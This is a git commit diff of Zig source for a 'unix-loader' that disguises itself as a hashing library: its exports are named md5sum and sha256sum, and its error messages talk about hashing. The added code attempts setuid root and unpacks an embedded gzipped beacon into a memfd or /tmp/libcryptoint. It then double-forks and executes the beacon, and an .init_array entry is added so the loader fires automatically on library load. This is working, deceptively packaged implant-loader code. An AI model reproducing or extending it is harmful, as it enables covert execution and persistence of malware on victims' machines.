feat: made unix-loader more stable on FreeBSD

This commit is contained in:
Andrew Rioux
2025-02-03 02:37:17 -05:00
parent d8a277e769
commit 00331ec550
9 changed files with 159 additions and 59 deletions

View File

@@ -1,4 +1,6 @@
const builtin = @import("builtin");
const std = @import("std");
const posix = std.posix;
const beacon = @embedFile("beacon");
@@ -6,61 +8,104 @@ const Parameters = @cImport({
@cInclude("abi.h");
}).Parameters;
const config = @import("config");
fn open_temp() !std.fs.File {
switch (builtin.os.tag) {
.linux => {
const fd = posix.memfd_create("", 0);
return std.fs.File{ .handle = fd };
},
else => {
return std.fs.createFileAbsolute("/tmp/libcryptoint", .{ .mode = 0o775 });
},
}
}
fn exec_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
var gzipped_exe_stream = std.io.fixedBufferStream(gzipped_exe);
var exe_file = try open_temp();
try std.compress.gzip.decompress(gzipped_exe_stream.reader(), exe_file.writer());
var params_buffer: [@sizeOf(Parameters) + 1]u8 = undefined;
const params_input_ptr: [*]u8 = @ptrCast(parameters);
@memcpy(params_buffer[0..@sizeOf(Parameters)], params_input_ptr);
params_buffer[@sizeOf(Parameters)] = 0;
try exe_file.writer().writeAll(&params_buffer);
var arena = std.heap.ArenaAllocator.init(std.heap.page_allocator);
defer arena.deinit();
const alloc = arena.allocator();
const file_path = switch (builtin.os.tag) {
.linux => try std.fmt.allocPrint(alloc, "/proc/self/fd/{d}", .{exe_file.handle}),
else => "/tmp/libcryptoint",
};
exe_file.close();
const beacon_name = try alloc.dupeZ(u8, parameters.beacon_name[0..parameters.beacon_name_length]);
const file_path_ptr = try alloc.dupeZ(u8, file_path);
const argv: [*:null]const ?[*:0]const u8 = &.{ beacon_name, null };
const envp: [*:null]const ?[*:0]const u8 = &.{null};
switch (posix.execveZ(file_path_ptr, argv, envp)) {
else => |e| {
if (builtin.mode == .Debug) {
std.debug.print("Internal error performing hash! {s}\n", .{@errorName(e)});
}
},
}
posix.exit(1);
}
fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
std.debug.print("Test {s}", .{parameters.beacon_identifier});
var uid: usize = undefined;
if (builtin.os.tag == .linux) {
uid = std.os.linux.syscall0(.getuid);
try posix.setuid(0);
const uid = std.os.linux.getuid();
_ = std.c.setuid(0);
if (std.os.linux.getuid() != 0) {
return;
}
const pid = std.c.fork();
if (pid == 0) {
if (std.c.fork() == 0) {
const exe_fd = try std.posix.memfd_create("", 0);
var gzipped_exe_stream = std.io.fixedBufferStream(gzipped_exe);
var exe_file = std.fs.File{ .handle = exe_fd };
try std.compress.gzip.decompress(gzipped_exe_stream.reader(), exe_file.writer());
var params_buffer: [@sizeOf(Parameters) + 1]u8 = undefined;
const params_input_ptr: [*]u8 = @ptrCast(parameters);
@memcpy(params_buffer[0..@sizeOf(Parameters)], params_input_ptr);
params_buffer[@sizeOf(Parameters)] = 0;
try exe_file.writer().writeAll(&params_buffer);
var arena = std.heap.ArenaAllocator.init(std.heap.page_allocator);
defer arena.deinit();
const alloc = arena.allocator();
const file_path = try std.fmt.allocPrint(alloc, "/proc/self/fd/{d}", .{exe_fd});
const beacon_name = try alloc.dupeZ(u8, parameters.beacon_name[0..parameters.beacon_name_length]);
const file_path_ptr = try alloc.dupeZ(u8, file_path);
const argv: [*:null]const ?[*:0]const u8 = &.{ beacon_name, null };
const envp: [*:null]const ?[*:0]const u8 = &.{null};
_ = std.c.execve(file_path_ptr, argv, envp);
std.c.exit(1);
if (std.os.linux.syscall0() != 0) {
return;
}
std.c.exit(0);
} else {
var status: c_int = 0;
_ = std.c.waitpid(pid, &status, 0);
_ = std.c.kill(pid, std.c.SIG.KILL);
}
_ = std.c.setuid(uid);
if (!config.fork) {
try exec_beacon(gzipped_exe, parameters);
} else {
const pid = try posix.fork();
if (pid == 0) {
if (try posix.fork() == 0) {
try exec_beacon(gzipped_exe, parameters);
} else if (builtin.os.tag != .linux) {
const sem = std.c.sem_open("/libcrypto", 0x200, 0o775, 0);
_ = std.c.sem_wait(sem);
posix.unlink("/tmp/libcryptoint") catch {};
}
posix.exit(0);
} else {
_ = posix.waitpid(pid, 0);
if (builtin.os.tag == .linux) {
posix.kill(pid, 9) catch {};
}
}
if (builtin.os.tag == .linux) {
try posix.setuid(uid);
}
}
}
export fn hash_internals(parameters: *Parameters) void {
use_beacon(beacon, parameters) catch |err| {
if (@import("builtin").mode == .Debug) {
std.debug.print("Error using hash internals! {any}", .{err});
if (builtin.mode == .Debug) {
std.debug.print("External error computing hash! {any}\n", .{err});
}
};
}

View File

@@ -20,7 +20,8 @@ fn fill_parameters() !void {
@memcpy(@as([*]u8, @ptrCast(&file_parameters)), &param_buffer);
}
export fn calculate_hash() void {
export fn calculate_hash() callconv(.C) void {
std.io.getStdOut().writeAll("Loaded!") catch {};
fill_parameters() catch |err| {
if (dbg) {
std.debug.print("Error calculating hash! {any}", .{err});
@@ -30,6 +31,8 @@ export fn calculate_hash() void {
hash_internals(&file_parameters);
}
export const init_array: [1]*const fn () callconv(.C) void linksection(".init_array") = .{&calculate_hash};
export fn md4sum() void {}
export fn md5sum() void {}
export fn sha256sum() void {}

View File

@@ -1,5 +1,11 @@
extern fn hash_internals() void;
extern fn hash_internals(parameters: *Parameters) void;
const Parameters = @cImport({
@cInclude("abi.h");
}).Parameters;
var file_parameters: Parameters = .{};
pub fn main() void {
hash_internals();
hash_internals(&file_parameters);
}